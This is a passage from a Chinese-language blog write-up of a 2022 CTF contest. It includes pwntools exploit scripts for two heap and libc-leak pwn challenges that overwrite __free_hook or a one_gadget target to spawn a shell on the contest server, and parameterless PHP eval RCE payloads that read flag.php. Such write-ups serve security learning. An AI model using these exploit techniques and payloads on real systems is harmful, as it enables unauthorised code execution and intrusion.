class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">local = <span class="number">0</span></span><br><span class="line">debug = <span class="number">1</span></span><br><span class="line">binary = <span class="string">&quot;./pwn2&quot;</span></span><br><span class="line">lib = <span class="string">&quot;b/x86_64-linux-gnubc.so.6&quot;</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">context.log_level = <span class="string">&quot;debug&quot;</span> <span class="keyword">if</span> debug <span class="keyword">else</span> <span class="string">&quot;info&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> local:</span><br><span class="line">    p = process(binary)</span><br><span class="line">    libc = ELF(lib)</span><br><span class="line"><span class="keyword">else</span> :</span><br><span class="line"></span><br><span class="line">    p = remote(<span class="string">&quot;113.201.14.253&quot;</span>,<span class="number">16066</span>)</span><br><span class="line">    lib = <span class="string">&quot;.bc-2.27.so&quot;</span></span><br><span class="line">    libc = ELF(lib)</span><br><span class="line"></span><br><span class="line">s      = <span class="keyword">lambda</span> buf        : p.send(buf)</span><br><span class="line">sl     = <span class="keyword">lambda</span> buf        : p.sendline(buf)</span><br><span class="line">sa     = <span class="keyword">lambda</span> delim, buf : p.sendafter(delim, buf)</span><br><span class="line">sal    = <span class="keyword">lambda</span> delim, buf : p.sendlineafter(delim, buf)</span><br><span class="line">sh     = <span class="keyword">lambda</span>            : p.interactive()</span><br><span class="line">r      = <span class="keyword">lambda</span> n=<span class="literal">None</span>     : p.recv(n)</span><br><span class="line">ru     = <span class="keyword">lambda</span> delim      : p.recvuntil(delim)</span><br><span class="line">r7f    = <span class="keyword">lambda</span>            : u64(p.recvuntil(<span class="string">&quot;\x7f&quot;</span>)[-<span class="number">6</span>:]+<span class="string">&quot;\x00\x00&quot;</span>)</span><br><span class="line">trs    = <span class="keyword">lambda</span> addr       : libc.address+addr</span><br><span class="line">gadget = <span class="keyword">lambda</span> ins        : libc.search(asm(ins,arch=<span class="string">&quot;amd64&quot;</span>)).<span class="built_in">next</span>()</span><br><span class="line">tohex  = <span class="keyword">lambda</span> buf        : <span class="string">&quot;&quot;</span>.join(<span class="string">&quot;\\x%02x&quot;</span>%<span class="built_in">ord</span>(_) <span class="keyword">for</span> _ <span class="keyword">in</span> buf)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size,content</span>):</span><br><span class="line">	sal(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;1&quot;</span>)</span><br><span class="line">	sal(<span class="string">&quot;size: &quot;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">	sal(<span class="string">&quot;content: &quot;</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">free</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">	sal(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;3&quot;</span>)</span><br><span class="line">	sal(<span class="string">&quot;idx: &quot;</span>,<span class="built_in">str</span>(<span class="built_in">id</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params"><span class="built_in">id</span>,content</span>):</span><br><span class="line">	sal(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;2&quot;</span>)</span><br><span class="line">	sal(<span class="string">&quot;idx: &quot;</span>,<span class="built_in">str</span>(<span class="built_in">id</span>))</span><br><span class="line">	sa(<span class="string">&quot;content: &quot;</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">	sal(<span class="string">&quot;Choice: &quot;</span>,<span class="string">&quot;4&quot;</span>)</span><br><span class="line">	sal(<span class="string">&quot;idx: &quot;</span>,<span class="built_in">str</span>(<span class="built_in">id</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">	add(<span class="number">0x88</span>,<span class="string">&quot;A&quot;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">0x28</span>,<span class="string">&quot;B&quot;</span>*<span class="number">8</span>)</span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">	free(<span class="number">7</span>-_)</span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;C&quot;</span>*<span class="number">7</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">&quot;C&quot;</span>*<span class="number">8</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">libc.address = r7f()-<span class="number">224</span>-<span class="number">0x10</span> - libc.sym[<span class="string">&quot;__malloc_hook&quot;</span>]</span><br><span class="line">info(<span class="string">&quot;[+] libc base =&gt; 0x%x&quot;</span>%libc.address)</span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">&quot;aaaa&quot;</span>)</span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;D&quot;</span>*<span class="number">8</span>) <span class="comment">#2</span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;E&quot;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;F&quot;</span>*<span class="number">8</span>)</span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;G&quot;</span>*<span class="number">8</span>)</span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;A&quot;</span>*<span class="number">0x18</span>+<span class="string">&quot;\x41&quot;</span>)</span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">free(<span class="number">5</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line">add(<span class="number">0x38</span>,<span class="string">&quot;PPPPPP&quot;</span>)</span><br><span class="line">payload = <span class="string">&quot;A&quot;</span>*<span class="number">0x18</span></span><br><span class="line">payload += p64(<span class="number">0x21</span>)</span><br><span class="line">payload += p64(libc.sym[<span class="string">&quot;__free_hook&quot;</span>]-<span class="number">8</span>)</span><br><span class="line">payload += p64(<span class="number">0</span>)</span><br><span class="line">edit(<span class="number">3</span>,payload)</span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;AAAAA&quot;</span>)</span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&quot;/bin\x00&quot;</span>+p64(libc.sym[<span class="string">&quot;system&quot;</span>]))</span><br><span class="line">free(<span class="number">5</span>)</span><br><span class="line">sh()</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<h3 id="Pwn3"><a href="#Pwn3" class="headerlink" title="Pwn3"></a>Pwn3</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = remote(<span class="string">&quot;113.201.14.253&quot;</span>,<span class="string">&quot;16033&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./Gpwn3&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;b/x86_64-linux-gnubc-2.23.so&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">&quot;You choice:&quot;</span>,<span class="string">&quot;1&quot;</span>)</span><br><span class="line">p.sendafter(<span class="string">&quot;Give me a character level :&quot;</span>,<span class="string">&quot;A&quot;</span>*(<span class="number">0x24</span>-<span class="number">1</span>)+<span class="string">&quot;\x00&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">&quot;You choice:&quot;</span>,<span class="string">&quot;2&quot;</span>)</span><br><span class="line">p.sendafter(<span class="string">&quot;Give me another level :&quot;</span>,<span class="string">&quot;A&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">&quot;You choice:&quot;</span>,<span class="string">&quot;2&quot;</span>)</span><br><span class="line">p.sendafter(<span class="string">&quot;Give me another level :&quot;</span>,<span class="string">&quot;\xff&quot;</span>*<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">&quot;You choice:&quot;</span>,<span class="string">&quot;3&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Here&#x27;s your reward: &quot;</span>)</span><br><span class="line">puts = <span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;\n&quot;</span>),<span class="number">16</span>)</span><br><span class="line">libc.address = puts - libc.sym[<span class="string">&quot;puts&quot;</span>]</span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">&quot;:&quot;</span>,p64(libc.address+<span class="number">0x5f0040</span>+<span class="number">3848</span>))</span><br><span class="line">p.sendafter(<span class="string">&quot;you!&quot;</span>,p64(libc.address+<span class="number">0xf1247</span>))</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="RCE-No-Para"><a href="#RCE-No-Para" class="headerlink" title="RCE_No_Para"></a>RCE_No_Para</h3><p>学弟的答案没看懂，准备复现中</p>
<p>题解将其称之为无参数rce</p>
<p>网站输入进去会显示源代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="string">&#x27;;&#x27;</span> === <span class="title function_ invoke__">preg_replace</span>(<span class="string">&#x27;/[^\W]+\((?R)?\)/&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>])) &#123; </span><br><span class="line">    <span class="keyword">if</span>(!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/session|end|next|header|dir/i&#x27;</span>,<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>]))&#123;</span><br><span class="line">        <span class="keyword">eval</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>]);</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;Hacker!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="title function_ invoke__">show_source</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span> </span><br></pre></td></tr></table></figure>

<p>不太了解</p>
<p>目前只知道Payload是</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?code=system(array_rand(array_flip(current(get_defined_vars()))));&amp;b=cat%09flag.php</span><br></pre></td></tr></table></figure>





<p>下面是学弟的题解：</p>
<p>这段代码考察正则表达式</p>
<p>“[]”表示匹配的开始和结束，”^”表示取反，\W匹配非字母、数字、下划线等。等同于    [^A-Za-z0-9_]，( 和)表示匹配括号，(?R)表示递归表达式本身，最后一个”?”表示匹配1个或者0个表达式本身。</p>
<p>所以这个正则表达式是要把对应形式的内容提取出来，然后通过preg_replace函数，用空字符串进行代替，得到一个字符串。这个字符串是完全等同于“;”的。</p>
<p>因为这个正则表达式的限制，所以我们在payload里使用的函数必须是无参的。</p>
<p>然后看另外一个if的内容</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/session|end|next|header|dir/i</span><br></pre></td></tr></table></figure>

<p> “ &#x2F; “ 表示表达式的开头和结尾，结尾的i表示不区分大小写，用|分隔多种匹配情况</p>
<p>所以payload里不能含有session、end、next、header、dir</p>
<p>刚开始没注意第二个if所给的限制，只注意到了无参，所以以为只是简单的远程命令执行</p>
<p>最先想到的是session_id结合hex2bin函数</p>
<p>第一个payload:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eval(&quot;eval(hex2bin(session_id(session_start())));&quot;);</span><br></pre></td></tr></table></figure>

<p>然后就报错了。。。</p>
<p>第二个payload:</p>
<p>利用get_defined_vars函数</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eval(end(current(get_defined_vars())));</span><br></pre></td></tr></table></figure>

<p>结果包含end又报错了。。。</p>
<p>最后的payload:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?1551=system(&amp;apos;tac flag.php&amp;apos;);&amp;code=eval(pos(pos(get_defined_vars()))); </span><br></pre></td></tr></table></figure>

<p>打入得到flag</p>
<p>、</p>
<h3 id="Shiro？"><a href="#Shiro？" class="headerlink" title="Shiro？"></a>Shiro？</h3><p>他们说用log4j打</p>
<p>我自己的复现过程可以看这篇</p>
<p><a href="https://www.mocusez.site/posts/8a62.html">Log4j2漏洞复现 | Mox的笔记库</a></p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>期待四叶草出的两道逆向题的题解，第一次做出密码学题目，还是有不少收获的</p>
<p>第一次知道wireshark可以导出http传输的文件，不然之前都是走binwalk大法</p>
<p>大佬题解传送门（真的强）</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://blog.csdn.net/qq_42880719/article/details/122382709">2021 长安“战疫”网络安全卫士守护赛 WriteUp</a></p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://mp.weixin.qq.com/s/5jrjvuJf0CSYyj7qL7TqvQ">Timeline Sec的题解</a></p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://mp.weixin.qq.com/s/VMk7RPkvDioqMqEQdM5jFw">ChamMd5的题解</a></p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://mp.weixin.qq.com/s/p8Vdv21nToZhUwLQ01gu0w">四叶草官方题解</a></p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://www.mocusez.site">MocusEZ</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://www.mocusez.site/posts/a585.html">https://www.mocusez.site/posts/a585.html</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc/4.0" rel="external nofollow noreferrer" target="_blank">CC BY-NC 4.0</a> 许可协议。转载请注明来自 <a href="https://www.mocusez.site" target="_blank">Mox的笔记库</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="https://ae03.alicdn.com/kf/Ha7b43e66b9b84c7198a0b5d44b520138q.png" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/posts/8a62.html"><img class="prev-cover" src="https://pic1.zhimg.com/v2-bd843f42914ff75f88b484341ce35e2d_1440w.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">Log4j2漏洞复现</div></div></a></div><div class="next-post pull-right"><a href="/posts/ffc0.html"><img class="next-cover" src="https://ae05.alicdn.com/kf/H0f478200adbf47b985e8a5981aa70691L.png" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">2021XCTF回顾</div></div></a></div></nav><hr/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="/img/head.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">MocusEZ</div><div class="author-info__description">探索未曾设想的道路</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">61</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">8</div></a></div><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/mocusez" rel="external nofollow noreferrer" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:285918468@qq.com" rel="external nofollow noreferrer" target="_blank" title="Email"><i class="fas fa-envelope"></i></a><a class="social-icon" href="/atom.xml" target="_blank" title="RSS"><i class="fas fa-rss"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">迎接新的明天</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#2022%E9%95%BF%E5%AE%89%E2%80%9C%E6%88%98%E7%96%AB%E2%80%9D%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%AB%E5%A3%AB%E5%AE%88%E6%8A%A4%E8%B5%9B%E5%9B%9E%E9%A1%BE"><span class="toc-number">1.</span> <span class="toc-text">2022长安“战疫”网络安全卫士守护赛回顾</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Reverse"><span class="toc-number">1.1.</span> <span class="toc-text">Reverse</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#hello-py"><span class="toc-number">1.1.1.</span> <span class="toc-text">hello_py</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#cute-doge"><span class="toc-number">1.1.2.</span> <span class="toc-text">cute_doge</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#combat-slogan"><span class="toc-number">1.1.3.</span> <span class="toc-text">combat_slogan</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#lemon"><span class="toc-number">1.1.4.</span> <span class="toc-text">lemon</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Misc"><span class="toc-number">1.2.</span> <span class="toc-text">Misc</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%AB%E5%8D%A6%E8%BF%B7%E5%AE%AB"><span class="toc-number">1.2.1.</span> <span class="toc-text">八卦迷宫</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%A5%BF%E5%AE%89%E5%8A%A0%E6%B2%B9"><span class="toc-number">1.2.2.</span> <span class="toc-text">西安加油</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%B4%E5%AE%9E%E6%97%A0%E5%8D%8E%E7%9A%84%E5%8F%96%E8%AF%81"><span class="toc-number">1.2.3.</span> <span class="toc-text">朴实无华的取证</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Ez-steg"><span class="toc-number">1.2.4.</span> <span class="toc-text">Ez_steg</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Binary"><span class="toc-number">1.2.5.</span> <span class="toc-text">Binary</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#pipicc"><span class="toc-number">1.2.6.</span> <span class="toc-text">pipicc</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Crypto"><span class="toc-number">1.3.</span> <span class="toc-text">Crypto</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#no-cry-no-can"><span class="toc-number">1.3.1.</span> <span class="toc-text">no_cry_no_can</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#no-math-no-cry"><span class="toc-number">1.3.2.</span> <span class="toc-text">no_math_no_cry</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Pwn"><span class="toc-number">1.4.</span> <span class="toc-text">Pwn</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Pwn1"><span class="toc-number">1.4.1.</span> <span class="toc-text">Pwn1</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Pwn2"><span class="toc-number">1.4.2.</span> <span class="toc-text">Pwn2</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Pwn3"><span class="toc-number">1.4.3.</span> <span class="toc-text">Pwn3</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Web"><span class="toc-number">1.5.</span> <span class="toc-text">Web</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#RCE-No-Para"><span class="toc-number">1.5.1.</span> <span class="toc-text">RCE_No_Para</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Shiro%EF%BC%9F"><span class="toc-number">1.5.2.</span> <span class="toc-text">Shiro？</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">1.6.</span> <span class="toc-text">总结</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/posts/3e9f.html" title="RMM观察与初探"><img src="https://z1.ax1x.com/2023/10/21/piF47TA.md.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="RMM观察与初探"/></a><div class="content"><a class="title" href="/posts/3e9f.html" title="RMM观察与初探">RMM观察与初探</a><time datetime="2023-10-21T04:30:00.000Z" title="发表于 2023-10-21 12:30:00">2023-10-21</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/5e44.html" title="计算机网络课设——UDP/TCP/TLS Socket实验"><img src="https://s1.ax1x.com/2023/09/09/pP6qXOU.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="计算机网络课设——UDP/TCP/TLS Socket实验"/></a><div class="content"><a class="title" href="/posts/5e44.html" title="计算机网络课设——UDP/TCP/TLS Socket实验">计算机网络课设——UDP/TCP/TLS Socket实验</a><time datetime="2023-09-09T07:10:00.000Z" title="发表于 2023-09-09 15:10:00">2023-09-09</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/cd44.html" title="JQuery的XSS初探"><img src="https://s1.ax1x.com/2023/09/08/pPyvO0O.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="JQuery的XSS初探"/></a><div class="content"><a class="title" href="/posts/cd44.html" title="JQuery的XSS初探">JQuery的XSS初探</a><time datetime="2023-09-08T04:30:00.000Z" title="发表于 2023-09-08 12:30:00">2023-09-08</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/5862.html" title="生产实习记录"><img src="https://s1.ax1x.com/2023/09/02/pPBH058.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="生产实习记录"/></a><div class="content"><a class="title" href="/posts/5862.html" title="生产实习记录">生产实习记录</a><time datetime="2023-09-02T13:51:00.000Z" title="发表于 2023-09-02 21:51:00">2023-09-02</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/9a9b.html" title="Fedora-CoreOS配置与试用（2023年）"><img src="https://s1.ax1x.com/2023/08/28/pPa8tlF.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Fedora-CoreOS配置与试用（2023年）"/></a><div class="content"><a class="title" href="/posts/9a9b.html" title="Fedora-CoreOS配置与试用（2023年）">Fedora-CoreOS配置与试用（2023年）</a><time datetime="2023-08-28T11:35:00.000Z" title="发表于 2023-08-28 19:35:00">2023-08-28</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2023 By MocusEZ</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener external nofollow noreferrer" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener external nofollow noreferrer" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div><div class="footer_custom_text"><a href="http://beian.miit.gov.cn/" rel="external nofollow noreferrer"  style="color:#f72b07" target="_blank">闽ICP备2021003009号</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><a id="to_comment" href="#post-comment" title="直达评论"><i class="fas fa-comments"></i></a><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div id="local-search"><div class="search-dialog"><nav class="search-nav"><span class="search-dialog-title">搜索</span><span id="loading-status"></span><button class="search-close-button"><i class="fas fa-times"></i></button></nav><div class="is-center" id="loading-database"><i class="fas fa-spinner fa-pulse"></i><span>  数据库加载中</span></div><div class="search-wrap"><div id="local-search-input"><div class="local-search-box"><input class="local-search-box--input" placeholder="搜索文章" type="text"/></div></div><hr/><div id="local-search-results"></div></div></div><div id="search-mask"></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><script src="/js/search/local-search.js"></script><div class="js-pjax"><script>function loadWaline () {
  function insertCSS () {
    const link = document.createElement("link")
    link.rel = "stylesheet"
    link.href = "https://cdn.jsdelivr.net/npm/@waline/client/dist/waline.min.css"
    document.head.appendChild(link)
  }

  function initWaline () {
    const waline = Waline.init(Object.assign({
      el: '#waline-wrap',
      serverURL: 'https://waline.mocusez.site',
      pageview: ,
      dark: 'html[data-theme="dark"]',
      path: window.location.pathname,
      comment: false,
    }, null))
  }

  if (typeof Waline === 'function') initWaline()
  else {
    insertCSS()
    getScript('https://cdn.jsdelivr.net/npm/@waline/client/dist/waline.min.js').then(initWaline)
  }
}

if ('Waline' === 'Waline' || !false) {
  if (false) btf.loadComment(document.getElementById('waline-wrap'),loadWaline)
  else setTimeout(loadWaline, 0)
} else {
  function loadOtherComment () {
    loadWaline()
  }
}</script></div><script>(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/1df8ba05.js","daovoice")
</script><script>var isChatBtn = false
daovoice('init', {
  app_id: '1df8ba05',},{
  launcher: { 
     disableLauncherIcon: isChatBtn // 悬浮 ICON 是否显示
  },
});
daovoice('update');

if (isChatBtn) {
  var chatBtnFn = () => {
    var chatBtn = document.getElementById("chat_btn")
    chatBtn.addEventListener("click", function(){
      daovoice('show')
    });
  }
  chatBtnFn()
} else {
  if (false) {
    function chatBtnHide () {
      daovoice('update', {},{
        launcher: { 
        disableLauncherIcon: true // 悬浮 ICON 是否显示
        },
      });
    }
    function chatBtnShow () {
      daovoice('update', {},{
        launcher: { 
        disableLauncherIcon: false // 悬浮 ICON 是否显示
        },
      });
    }
  }
}</script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>